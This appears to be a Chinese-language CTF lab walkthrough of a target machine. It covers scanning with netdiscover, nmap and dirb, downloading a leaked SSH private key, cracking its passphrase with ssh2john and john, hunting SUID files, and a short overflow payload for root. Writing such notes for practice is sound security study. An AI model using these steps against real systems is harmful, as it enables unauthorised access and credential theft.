CTF靶机渗透笔记——SSH私钥泄露

1.IP发现，ARP侦查工具

netdiscover -r 192.168.0.0/16

2.端口扫描，版本检测，关注开放http服务的大于1024的端口

nmap -sV 192.168.x.x

3.扫描此端口的目录和隐藏文件

dirb http://192.168.x.x:xxxx/

4.打开敏感目录如：robots.txt，再打开里面Disallow的目录发现第一个flag
5.打开.ssh，发现存在私钥泄露，下载私钥和认证关键字的文件
6.打开认证关键字文件在最后发现了私钥的用户名
7.赋予私钥文件读写权限

chmod 600 私钥文件名

8.使用ssh命令，利用私钥对靶机进行远程登录

ssh -i 私钥文件名 私钥用户名@192.168.x.x

9.用ssh2john和zcat解出私钥文件的密码
10.用ssh2john把私钥信息转换成john可识别的信息

ssh2john.py 私钥文件名 > 转换后的文件名

11 --pipe: 批量读取，允许规则的单词表模式 ， --rules: 为单词表模式启用单词修改规则

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules 转换后的文件名

12 远程登录成功
13 访问根目录root

cd /root

14 发现无权限打开目录下的flag.txt，需要获取root权限
15 查找能够执行的文件

find / -perm -4000 2>/dev/null

find -perm: 根据文件的权限来查找文件
/: 从根目录开始查找
4000: suid
2>/dev/null: 将错误信息重定向到null文件中，用于防止错误信息

16 发现有一个.c文件是在root目录下，cat之后拿到了第二个flag，看源码发现是一个简单的pwn题，payload如下：

SimonAAAAAAAAAAAAAAA/bin/sh

17 成功提权，cat flag.txt，拿到第三个flag